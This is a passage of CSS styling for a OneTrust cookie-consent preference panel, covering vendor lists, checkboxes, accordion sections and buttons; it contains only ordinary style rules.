        font-size: inherit;
        display: inline-block;
        width: 100%
      }

      #onetrust-pc-sdk .ot-host-opt li>dl {
        font-size: .8em;
        margin: 5px 0
      }

      #onetrust-pc-sdk .ot-host-opt li>dl>div {
        padding: 5px 0;
        display: flex
      }

      #onetrust-pc-sdk .ot-host-opt li>dl>div dt {
        width: 30%;
        float: left
      }

      #onetrust-pc-sdk .ot-host-opt li>dl>div dd {
        width: 70%;
        float: left;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk .ot-host-info {
        border: none;
        display: inline-block;
        width: calc(100% - 10px);
        padding: 10px;
        margin-bottom: 10px;
        background-color: #f8f8f8
      }

      #onetrust-pc-sdk .ot-host-info>div {
        overflow: auto
      }

      #onetrust-pc-sdk #no-results {
        text-align: center;
        margin-top: 30px
      }

      #onetrust-pc-sdk #no-results p {
        font-size: 1em;
        color: #2e3644;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk #no-results p span {
        font-weight: bold
      }

      #onetrust-pc-sdk #ot-fltr-modal {
        width: 100%;
        height: auto;
        display: none;
        -moz-transition: .2s ease;
        -o-transition: .2s ease;
        -webkit-transition: 2s ease;
        transition: .2s ease;
        overflow: hidden;
        opacity: 1;
        right: 0
      }

      #onetrust-pc-sdk #ot-fltr-modal .ot-label-txt {
        display: inline-block;
        font-size: .85em;
        color: dimgray
      }

      #onetrust-pc-sdk #ot-fltr-cnt {
        z-index: 2147483646;
        background-color: #fff;
        position: absolute;
        height: 90%;
        max-height: 300px;
        width: 325px;
        left: 210px;
        margin-top: 10px;
        margin-bottom: 20px;
        padding-right: 10px;
        border-radius: 3px;
        -webkit-box-shadow: 0px 0px 12px 2px #c7c5c7;
        -moz-box-shadow: 0px 0px 12px 2px #c7c5c7;
        box-shadow: 0px 0px 12px 2px #c7c5c7
      }

      #onetrust-pc-sdk .ot-fltr-scrlcnt {
        overflow-y: auto;
        overflow-x: hidden;
        clear: both;
        max-height: calc(100% - 60px)
      }

      #onetrust-pc-sdk #ot-anchor {
        border: 12px solid rgba(0, 0, 0, 0);
        display: none;
        position: absolute;
        z-index: 2147483647;
        right: 55px;
        top: 75px;
        transform: rotate(45deg);
        -o-transform: rotate(45deg);
        -ms-transform: rotate(45deg);
        -webkit-transform: rotate(45deg);
        background-color: #fff;
        -webkit-box-shadow: -3px -3px 5px -2px #c7c5c7;
        -moz-box-shadow: -3px -3px 5px -2px #c7c5c7;
        box-shadow: -3px -3px 5px -2px #c7c5c7
      }

      #onetrust-pc-sdk .ot-fltr-btns {
        margin-left: 15px
      }

      #onetrust-pc-sdk #filter-apply-handler {
        margin-right: 15px
      }

      #onetrust-pc-sdk .ot-fltr-opt {
        margin-bottom: 5px;
        margin-left: 15px;
        min-height: 20px;
        width: 75%;
        position: relative
      }

      #onetrust-pc-sdk .ot-fltr-opt p {
        display: inline-block;
        margin: 0;
        font-size: .9em;
        color: #2e3644
      }

      #onetrust-pc-sdk .ot-chkbox label span {
        font-size: .85em;
        color: dimgray
      }

      #onetrust-pc-sdk .ot-chkbox input[type=checkbox]+label::after {
        content: none;
        color: #fff
      }

      #onetrust-pc-sdk .ot-chkbox input[type=checkbox]:checked+label::after {
        content: ""
      }

      #onetrust-pc-sdk .ot-chkbox input[type=checkbox][aria-checked=mixed]+label::after {
        content: ""
      }

      #onetrust-pc-sdk .ot-chkbox input[type=checkbox]:focus+label::before {
        outline-style: solid;
        outline-width: 2px;
        outline-style: auto
      }

      #onetrust-pc-sdk #ot-selall-vencntr,
      #onetrust-pc-sdk #ot-selall-adtlvencntr,
      #onetrust-pc-sdk #ot-selall-hostcntr,
      #onetrust-pc-sdk #ot-selall-licntr,
      #onetrust-pc-sdk #ot-selall-gnvencntr {
        right: 15px;
        position: relative;
        width: 20px;
        height: 20px;
        float: right
      }

      #onetrust-pc-sdk #ot-selall-vencntr label,
      #onetrust-pc-sdk #ot-selall-adtlvencntr label,
      #onetrust-pc-sdk #ot-selall-hostcntr label,
      #onetrust-pc-sdk #ot-selall-licntr label,
      #onetrust-pc-sdk #ot-selall-gnvencntr label {
        float: left;
        padding-left: 0
      }

      #onetrust-pc-sdk #ot-ven-lst:first-child {
        border-top: 1px solid #e2e2e2
      }

      #onetrust-pc-sdk ul {
        list-style: none;
        padding: 0
      }

      #onetrust-pc-sdk ul li:not(.ot-fltr-opt) {
        position: relative;
        margin: 0;
        padding: 15px 15px 15px 10px;
        border-bottom: 1px solid #e2e2e2
      }

      #onetrust-pc-sdk ul li h3,
      #onetrust-pc-sdk ul li h4,
      #onetrust-pc-sdk ul li p[aria-level="3"]:not(.ot-host-name, .ot-host-desc),
      #onetrust-pc-sdk ul li p[aria-level="4"]:not(.ot-host-name, .ot-host-desc) {
        font-size: .75em;
        color: #656565;
        margin: 0;
        display: inline-block;
        width: 70%;
        height: auto;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk ul li p:not([role=heading]) {
        margin: 0;
        font-size: .7em
      }

      #onetrust-pc-sdk ul li input[type=checkbox] {
        position: absolute;
        cursor: pointer;
        width: 100%;
        height: 100%;
        opacity: 0;
        margin: 0;
        top: 0;
        left: 0
      }

      #onetrust-pc-sdk .ot-cat-item>button:focus,
      #onetrust-pc-sdk .ot-acc-cntr>button:focus,
      #onetrust-pc-sdk li>button:focus {
        outline: #000 solid 2px
      }

      #onetrust-pc-sdk .ot-cat-item>button,
      #onetrust-pc-sdk .ot-acc-cntr>button,
      #onetrust-pc-sdk li>button {
        position: absolute;
        cursor: pointer;
        width: 100%;
        height: 100%;
        margin: 0;
        top: 0;
        left: 0;
        z-index: 1;
        max-width: none;
        border: none
      }

      #onetrust-pc-sdk .ot-cat-item>button[aria-expanded=false]~.ot-acc-txt,
      #onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=false]~.ot-acc-txt,
      #onetrust-pc-sdk li>button[aria-expanded=false]~.ot-acc-txt {
        margin-top: 0;
        max-height: 0;
        opacity: 0;
        overflow: hidden;
        width: 100%;
        transition: .25s ease-out;
        display: none
      }

      #onetrust-pc-sdk .ot-cat-item>button[aria-expanded=true]~.ot-acc-txt,
      #onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=true]~.ot-acc-txt,
      #onetrust-pc-sdk li>button[aria-expanded=true]~.ot-acc-txt {
        transition: .1s ease-in;
        margin-top: 10px;
        width: 100%;
        overflow: auto;
        display: block
      }

      #onetrust-pc-sdk .ot-cat-item>button[aria-expanded=true]~.ot-acc-grpcntr,
      #onetrust-pc-sdk .ot-acc-cntr>button[aria-expanded=true]~.ot-acc-grpcntr,
      #onetrust-pc-sdk li>button[aria-expanded=true]~.ot-acc-grpcntr {
        width: auto;
        margin-top: 0px;
        padding-bottom: 10px
      }

      #onetrust-pc-sdk .ot-host-item>button:focus,
      #onetrust-pc-sdk .ot-ven-item>button:focus {
        outline: 0;
        border: 2px solid #000
      }

      #onetrust-pc-sdk .ot-hide-acc>button {
        pointer-events: none
      }

      #onetrust-pc-sdk .ot-hide-acc .ot-plus-minus>*,
      #onetrust-pc-sdk .ot-hide-acc .ot-arw-cntr>* {
        visibility: hidden
      }

      #onetrust-pc-sdk .ot-hide-acc .ot-acc-hdr {
        min-height: 30px
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) {
        padding-right: 10px;
        width: calc(100% - 37px);
        margin-top: 10px;
        max-height: calc(100% - 90px)
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk {
        background-color: #f9f9fc;
        border: 1px solid #e2e2e2;
        width: calc(100% - 2px);
        padding-bottom: 5px;
        padding-top: 5px
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt {
        border: unset;
        background-color: unset
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all-hdr {
        display: none
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all {
        padding-right: .5rem
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) #ot-sel-blk.ot-vnd-list-cnt .ot-sel-all .ot-chkbox {
        right: 0
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-sel-all {
        padding-right: 34px
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-sel-all-chkbox {
        width: auto
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) ul li {
        border: 1px solid #e2e2e2;
        margin-bottom: 10px
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-lst-cnt:not(.ot-host-cnt) .ot-acc-cntr>.ot-acc-hdr {
        padding: 10px 0 10px 15px
      }

      #onetrust-pc-sdk.ot-addtl-vendors .ot-sel-all-chkbox {
        float: right
      }

      #onetrust-pc-sdk.ot-addtl-vendors .ot-plus-minus~.ot-sel-all-chkbox {
        right: 34px
      }

      #onetrust-pc-sdk.ot-addtl-vendors #ot-ven-lst:first-child {
        border-top: none
      }

      #onetrust-pc-sdk .ot-acc-cntr {
        position: relative;
        border-left: 1px solid #e2e2e2;
        border-right: 1px solid #e2e2e2;
        border-bottom: 1px solid #e2e2e2
      }

      #onetrust-pc-sdk .ot-acc-cntr input {
        z-index: 1
      }

      #onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr {
        background-color: #f9f9fc;
        padding: 5px 0 5px 15px;
        width: auto
      }

      #onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr .ot-plus-minus {
        vertical-align: middle;
        top: auto
      }

      #onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr .ot-arw-cntr {
        right: 10px
      }

      #onetrust-pc-sdk .ot-acc-cntr>.ot-acc-hdr input {
        z-index: 2
      }

      #onetrust-pc-sdk .ot-acc-cntr.ot-add-tech .ot-acc-hdr {
        padding: 10px 0 10px 15px
      }

      #onetrust-pc-sdk .ot-acc-cntr>input[type=checkbox]:checked~.ot-acc-hdr {
        border-bottom: 1px solid #e2e2e2
      }

      #onetrust-pc-sdk .ot-acc-cntr>.ot-acc-txt {
        padding-left: 10px;
        padding-right: 10px
      }

      #onetrust-pc-sdk .ot-acc-cntr button[aria-expanded=true]~.ot-acc-txt {
        width: auto
      }

      #onetrust-pc-sdk .ot-acc-cntr .ot-addtl-venbox {
        display: none
      }

      #onetrust-pc-sdk .ot-vlst-cntr {
        margin-bottom: 0;
        width: 100%
      }

      #onetrust-pc-sdk .ot-vensec-title {
        font-size: .813em;
        vertical-align: middle;
        display: inline-block
      }

      #onetrust-pc-sdk .category-vendors-list-handler,
      #onetrust-pc-sdk .category-vendors-list-handler+a {
        margin-left: 0;
        margin-top: 10px
      }

      #onetrust-pc-sdk #ot-selall-vencntr.line-through label::after,
      #onetrust-pc-sdk #ot-selall-adtlvencntr.line-through label::after,
      #onetrust-pc-sdk #ot-selall-licntr.line-through label::after,
      #onetrust-pc-sdk #ot-selall-hostcntr.line-through label::after,
      #onetrust-pc-sdk #ot-selall-gnvencntr.line-through label::after {
        height: auto;
        border-left: 0;
        transform: none;
        -o-transform: none;
        -ms-transform: none;
        -webkit-transform: none;
        left: 9px;
        top: 12px
      }

      #onetrust-pc-sdk #ot-category-title {
        float: left;
        padding-bottom: 10px;
        font-size: 1em;
        width: 100%
      }

      #onetrust-pc-sdk .ot-cat-grp {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-cat-item {
        line-height: 1.1;
        margin-top: 10px;
        display: inline-block;
        width: 100%
      }

      #onetrust-pc-sdk .ot-btn-container {
        text-align: right
      }

      #onetrust-pc-sdk .ot-btn-container button {
        display: inline-block;
        font-size: .75em;
        margin-top: 15px;
        min-height: 40px
      }

      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container {
        display: flex;
        flex-wrap: wrap;
        justify-content: flex-end
      }

      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container *[class*=ot-button-order-]:nth-of-type(1) {
        margin-right: auto;
        margin-left: 15px
      }

      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container *[class*=ot-button-order-]:nth-of-type(2),
      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container *[class*=ot-button-order-]:nth-of-type(3) {
        margin-right: 15px
      }

      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container.ot-stack-buttons {
        flex: 1;
        width: auto;
        gap: .5rem;
        height: 100%;
        padding: 0 30px;
        flex-wrap: nowrap;
        margin-top: .75rem;
        align-items: center;
        margin-bottom: .75rem;
        flex-direction: column;
        justify-content: space-around
      }

      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container.ot-stack-buttons .ot-pc-refuse-all-handler,
      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container.ot-stack-buttons .save-preference-btn-handler,
      #onetrust-pc-sdk .ot-btn-container.ot-button-order-container.ot-stack-buttons #accept-recommended-btn-handler {
        width: 100%;
        margin: 0 !important
      }

      #onetrust-pc-sdk #close-pc-btn-handler.ot-close-icon {
        position: absolute;
        top: 10px;
        right: 4px;
        z-index: 1;
        padding: 0;
        background-color: rgba(0, 0, 0, 0);
        border: none
      }

      #onetrust-pc-sdk #close-pc-btn-handler.ot-close-icon svg {
        display: block;
        height: 10px;
        width: 10px
      }

      #onetrust-pc-sdk #clear-filters-handler {
        margin-top: 20px;
        margin-bottom: 10px;
        float: right;
        max-width: 200px;
        text-decoration: none;
        color: #3860be;
        font-size: .9em;
        font-weight: bold;
        background-color: rgba(0, 0, 0, 0);
        border-color: rgba(0, 0, 0, 0);
        padding: 1px
      }

      #onetrust-pc-sdk #clear-filters-handler:hover {
        color: #2285f7
      }

      #onetrust-pc-sdk #clear-filters-handler:focus {
        outline: #000 solid 1px
      }

      #onetrust-pc-sdk .ot-enbl-chr h4~.ot-tgl,
      #onetrust-pc-sdk .ot-enbl-chr h4~.ot-always-active {
        right: 45px
      }

      #onetrust-pc-sdk .ot-enbl-chr h4~.ot-tgl+.ot-tgl {
        right: 120px
      }

      #onetrust-pc-sdk .ot-enbl-chr .ot-pli-hdr.ot-leg-border-color span:first-child {
        width: 90px
      }

      #onetrust-pc-sdk .ot-enbl-chr li.ot-subgrp>h5+.ot-tgl-cntr,
      #onetrust-pc-sdk .ot-enbl-chr li.ot-subgrp>p[aria-level="5"]+.ot-tgl-cntr {
        padding-right: 25px
      }

      #onetrust-pc-sdk .ot-plus-minus {
        width: 20px;
        height: 20px;
        font-size: 1.5em;
        position: relative;
        display: inline-block;
        margin-right: 5px;
        top: 3px
      }

      #onetrust-pc-sdk .ot-plus-minus span {
        position: absolute;
        background: #27455c;
        border-radius: 1px
      }

      #onetrust-pc-sdk .ot-plus-minus span:first-of-type {
        top: 25%;
        bottom: 25%;
        width: 10%;
        left: 45%
      }

      #onetrust-pc-sdk .ot-plus-minus span:last-of-type {
        left: 25%;
        right: 25%;
        height: 10%;
        top: 45%
      }

      #onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-arw,
      #onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:first-of-type,
      #onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:last-of-type {
        transform: rotate(90deg)
      }

      #onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:last-of-type {
        left: 50%;
        right: 50%
      }

      #onetrust-pc-sdk #ot-selall-vencntr label,
      #onetrust-pc-sdk #ot-selall-adtlvencntr label,
      #onetrust-pc-sdk #ot-selall-hostcntr label,
      #onetrust-pc-sdk #ot-selall-licntr label {
        position: relative;
        display: inline-block;
        width: 20px;
        height: 20px
      }

      #onetrust-pc-sdk .ot-host-item .ot-plus-minus,
      #onetrust-pc-sdk .ot-ven-item .ot-plus-minus {
        float: left;
        margin-right: 8px;
        top: 10px
      }

      #onetrust-pc-sdk .ot-ven-item ul {
        list-style: none inside;
        font-size: 100%;
        margin: 0
      }

      #onetrust-pc-sdk .ot-ven-item ul li {
        margin: 0 !important;
        padding: 0;
        border: none !important
      }

      #onetrust-pc-sdk .ot-pli-hdr {
        color: #77808e;
        overflow: hidden;
        padding-top: 7.5px;
        padding-bottom: 7.5px;
        width: calc(100% - 2px);
        border-top-left-radius: 3px;
        border-top-right-radius: 3px
      }

      #onetrust-pc-sdk .ot-pli-hdr span:first-child {
        top: 50%;
        transform: translateY(50%);
        max-width: 90px
      }

      #onetrust-pc-sdk .ot-pli-hdr span:last-child {
        padding-right: 10px;
        max-width: 95px;
        text-align: center
      }

      #onetrust-pc-sdk .ot-li-title {
        float: right;
        font-size: .813em
      }

      #onetrust-pc-sdk .ot-pli-hdr.ot-leg-border-color {
        background-color: #f4f4f4;
        border: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk .ot-pli-hdr.ot-leg-border-color span:first-child {
        text-align: left;
        width: 70px
      }

      #onetrust-pc-sdk li.ot-subgrp>h5,
      #onetrust-pc-sdk li.ot-subgrp>p[aria-level="5"],
      #onetrust-pc-sdk .ot-cat-header {
        width: calc(100% - 130px)
      }

      #onetrust-pc-sdk li.ot-subgrp>h5+.ot-tgl-cntr {
        padding-left: 13px
      }

      #onetrust-pc-sdk .ot-acc-grpcntr .ot-acc-grpdesc {
        margin-bottom: 5px
      }

      #onetrust-pc-sdk .ot-acc-grpcntr .ot-subgrp-cntr {
        border-top: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk .ot-acc-grpcntr .ot-vlst-cntr+.ot-subgrp-cntr {
        border-top: none
      }

      #onetrust-pc-sdk .ot-acc-hdr .ot-arw-cntr+.ot-tgl-cntr,
      #onetrust-pc-sdk .ot-acc-txt h4+.ot-tgl-cntr,
      #onetrust-pc-sdk .ot-acc-txt p[aria-level="4"]+.ot-tgl-cntr {
        padding-left: 13px
      }

      #onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-subgrp>h5,
      #onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-subgrp>p[aria-level="5"],
      #onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-cat-header {
        width: calc(100% - 145px)
      }

      #onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item h5+.ot-tgl-cntr,
      #onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-cat-header+.ot-tgl {
        padding-left: 28px
      }

      #onetrust-pc-sdk .ot-sel-all-hdr,
      #onetrust-pc-sdk .ot-sel-all-chkbox {
        display: inline-block;
        width: 100%;
        position: relative
      }

      #onetrust-pc-sdk .ot-sel-all-chkbox {
        z-index: 1
      }

      #onetrust-pc-sdk .ot-sel-all {
        margin: 0;
        position: relative;
        padding-right: 23px;
        float: right
      }

      #onetrust-pc-sdk .ot-consent-hdr,
      #onetrust-pc-sdk .ot-li-hdr {
        float: right;
        font-size: .812em;
        line-height: normal;
        text-align: center;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk .ot-li-hdr {
        max-width: 100px;
        padding-right: 10px
      }

      #onetrust-pc-sdk .ot-consent-hdr {
        max-width: 55px
      }

      #onetrust-pc-sdk #ot-selall-licntr {
        display: block;
        width: 21px;
        height: auto;
        float: right;
        position: relative;
        right: 80px
      }

      #onetrust-pc-sdk #ot-selall-licntr label {
        position: absolute
      }

      #onetrust-pc-sdk .ot-ven-ctgl {
        margin-left: 66px
      }

      #onetrust-pc-sdk .ot-ven-litgl+.ot-arw-cntr {
        margin-left: 81px
      }

      #onetrust-pc-sdk .ot-enbl-chr .ot-host-cnt .ot-tgl-cntr {
        width: auto
      }

      #onetrust-pc-sdk #ot-lst-cnt:not(.ot-host-cnt) .ot-tgl-cntr {
        width: auto;
        top: auto;
        height: 20px
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-chkbox {
        position: relative;
        display: inline-block;
        width: 28px;
        height: 28px
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-chkbox label {
        position: absolute;
        padding: 0;
        width: 28px;
        height: 28px
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info-cntr {
        border: 1px solid #d8d8d8;
        padding: .75rem 2rem;
        padding-bottom: 0;
        width: auto;
        margin-top: .5rem
      }

      #onetrust-pc-sdk .ot-acc-grpdesc+.ot-leg-btn-container {
        padding-left: 20px;
        padding-right: 20px;
        width: calc(100% - 40px);
        margin-bottom: 5px
      }

      #onetrust-pc-sdk .ot-subgrp .ot-leg-btn-container {
        margin-bottom: 5px
      }

      #onetrust-pc-sdk #ot-ven-lst .ot-leg-btn-container {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-leg-btn-container {
        display: inline-block;
        width: 100%;
        margin-bottom: 10px
      }

      #onetrust-pc-sdk .ot-leg-btn-container button {
        height: auto;
        padding: 6.5px 8px;
        margin-bottom: 0;
        letter-spacing: 0;
        font-size: .75em;
        line-height: normal
      }

      #onetrust-pc-sdk .ot-leg-btn-container svg {
        display: none;
        height: 14px;
        width: 14px;
        padding-right: 5px;
        vertical-align: sub
      }

      #onetrust-pc-sdk .ot-active-leg-btn {
        cursor: default;
        pointer-events: none
      }

      #onetrust-pc-sdk .ot-active-leg-btn svg {
        display: inline-block
      }

      #onetrust-pc-sdk .ot-remove-objection-handler {
        text-decoration: underline;
        padding: 0;
        font-size: .75em;
        font-weight: 600;
        line-height: 1;
        padding-left: 10px
      }

      #onetrust-pc-sdk .ot-obj-leg-btn-handler span {
        font-weight: bold;
        text-align: center;
        font-size: inherit;
        line-height: 1.5
      }

      #onetrust-pc-sdk.ot-close-btn-link #close-pc-btn-handler {
        border: none;
        height: auto;
        line-height: 1.5;
        text-decoration: underline;
        font-size: .69em;
        background: none;
        right: 15px;
        top: 15px;
        width: auto;
        font-weight: normal
      }

      #onetrust-pc-sdk .ot-pgph-link {
        font-size: .813em !important;
        margin-top: 10px;
        position: relative
      }

      #onetrust-pc-sdk .ot-pgph-link.ot-pgph-link-subgroup {
        margin-bottom: 1rem
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-pgph-link {
        margin-top: 5px
      }

      #onetrust-pc-sdk .ot-pgph-contr {
        margin: 0 2.5rem
      }

      #onetrust-pc-sdk .ot-pgph-title {
        font-size: 1.18rem;
        margin-bottom: 2rem
      }

      #onetrust-pc-sdk .ot-pgph-desc {
        font-size: 1rem;
        font-weight: 400;
        margin-bottom: 2rem;
        line-height: 1.5rem
      }

      #onetrust-pc-sdk .ot-pgph-desc:not(:last-child):after {
        content: "";
        width: 96%;
        display: block;
        margin: 0 auto;
        padding-bottom: 2rem;
        border-bottom: 1px solid #e9e9e9
      }

      #onetrust-pc-sdk .ot-cat-header {
        float: left;
        font-weight: 600;
        font-size: .875em;
        line-height: 1.5;
        max-width: 90%;
        vertical-align: middle
      }

      #onetrust-pc-sdk .ot-vnd-item>button:focus {
        outline: #000 solid 2px
      }

      #onetrust-pc-sdk .ot-vnd-item>button {
        position: absolute;
        cursor: pointer;
        width: 100%;
        height: 100%;
        margin: 0;
        top: 0;
        left: 0;
        z-index: 1;
        max-width: none;
        border: none
      }

      #onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=false]~.ot-acc-txt {
        margin-top: 0;
        max-height: 0;
        opacity: 0;
        overflow: hidden;
        width: 100%;
        transition: .25s ease-out;
        display: none
      }

      #onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=true]~.ot-acc-txt {
        transition: .1s ease-in;
        margin-top: 10px;
        width: 100%;
        overflow: auto;
        display: block
      }

      #onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=true]~.ot-acc-grpcntr {
        width: auto;
        margin-top: 0px;
        padding-bottom: 10px
      }

      #onetrust-pc-sdk .ot-accordion-layout.ot-cat-item {
        position: relative;
        border-radius: 2px;
        margin: 0;
        padding: 0;
        border: 1px solid #d8d8d8;
        border-top: none;
        width: calc(100% - 2px);
        float: left
      }

      #onetrust-pc-sdk .ot-accordion-layout.ot-cat-item:first-of-type {
        margin-top: 10px;
        border-top: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc {
        padding-left: 20px;
        padding-right: 20px;
        width: calc(100% - 40px);
        font-size: .812em;
        margin-bottom: 10px;
        margin-top: 15px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc>ul {
        padding-top: 10px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc>ul li {
        padding-top: 0;
        line-height: 1.5;
        padding-bottom: 10px
      }

      #onetrust-pc-sdk .ot-accordion-layout div+.ot-acc-grpdesc {
        margin-top: 5px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr:first-child {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr:last-child,
      #onetrust-pc-sdk .ot-accordion-layout .ot-hlst-cntr:last-child {
        margin-bottom: 5px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-hdr {
        padding-top: 11.5px;
        padding-bottom: 11.5px;
        padding-left: 20px;
        padding-right: 20px;
        width: calc(100% - 40px);
        display: inline-block
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-txt {
        width: 100%;
        padding: 0
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-subgrp-cntr {
        padding-left: 20px;
        padding-right: 15px;
        padding-bottom: 0;
        width: calc(100% - 35px)
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-subgrp {
        padding-right: 5px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpcntr {
        z-index: 1;
        position: relative
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-cat-header+.ot-arw-cntr {
        position: absolute;
        top: 50%;
        transform: translateY(-50%);
        right: 20px;
        margin-top: -2px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-cat-header+.ot-arw-cntr .ot-arw {
        width: 15px;
        height: 20px;
        margin-left: 5px;
        color: dimgray
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-cat-header {
        float: none;
        color: #2e3644;
        margin: 0;
        display: inline-block;
        height: auto;
        word-wrap: break-word;
        min-height: inherit
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr,
      #onetrust-pc-sdk .ot-accordion-layout .ot-hlst-cntr {
        padding-left: 20px;
        width: calc(100% - 20px);
        display: inline-block;
        margin-top: 0;
        padding-bottom: 2px
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-hdr {
        position: relative;
        min-height: 25px
      }

      #onetrust-pc-sdk .ot-accordion-layout h4~.ot-tgl,
      #onetrust-pc-sdk .ot-accordion-layout h4~.ot-always-active {
        position: absolute;
        top: 50%;
        transform: translateY(-50%);
        right: 20px
      }

      #onetrust-pc-sdk .ot-accordion-layout h4~.ot-tgl+.ot-tgl {
        right: 95px
      }

      #onetrust-pc-sdk .ot-accordion-layout .category-vendors-list-handler,
      #onetrust-pc-sdk .ot-accordion-layout .category-vendors-list-handler+a {
        margin-top: 5px
      }

      #onetrust-pc-sdk #ot-pc-lst {
        display: flex;
        flex-direction: column
      }

      #onetrust-pc-sdk #ot-lst-cnt {
        margin-top: 1rem;
        max-height: calc(100% - 100px)
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info-cntr {
        border: 1px solid #d8d8d8;
        padding: .75rem 2rem;
        padding-bottom: 0;
        width: auto;
        margin-top: .5rem
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info {
        margin-bottom: 1rem;
        padding-left: .75rem;
        padding-right: .75rem;
        display: flex;
        flex-direction: column
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info>div {
        display: flex
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info[data-vnd-info-key*=DPOEmail] {
        border-top: 1px solid #d8d8d8;
        padding-top: 1rem
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info[data-vnd-info-key*=DPOLink] {
        border-bottom: 1px solid #d8d8d8;
        padding-bottom: 1rem
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info .ot-vnd-lbl {
        font-weight: bold;
        font-size: .85em;
        margin-bottom: .5rem
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info .ot-vnd-cnt {
        margin-left: .5rem;
        font-weight: 500;
        font-size: .85rem
      }

      #onetrust-pc-sdk .ot-vs-list,
      #onetrust-pc-sdk .ot-vnd-serv {
        width: auto;
        padding: 1rem 1.25rem;
        padding-bottom: 0
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-serv-hdr-cntr,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-serv-hdr-cntr {
        padding-bottom: .75rem;
        border-bottom: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr {
        font-weight: 600;
        font-size: .95em;
        line-height: 2;
        margin-left: .5rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item {
        border: none;
        margin: 0;
        padding: 0
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item button,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item button {
        outline: none;
        border-bottom: 1px solid #d8d8d8
      }

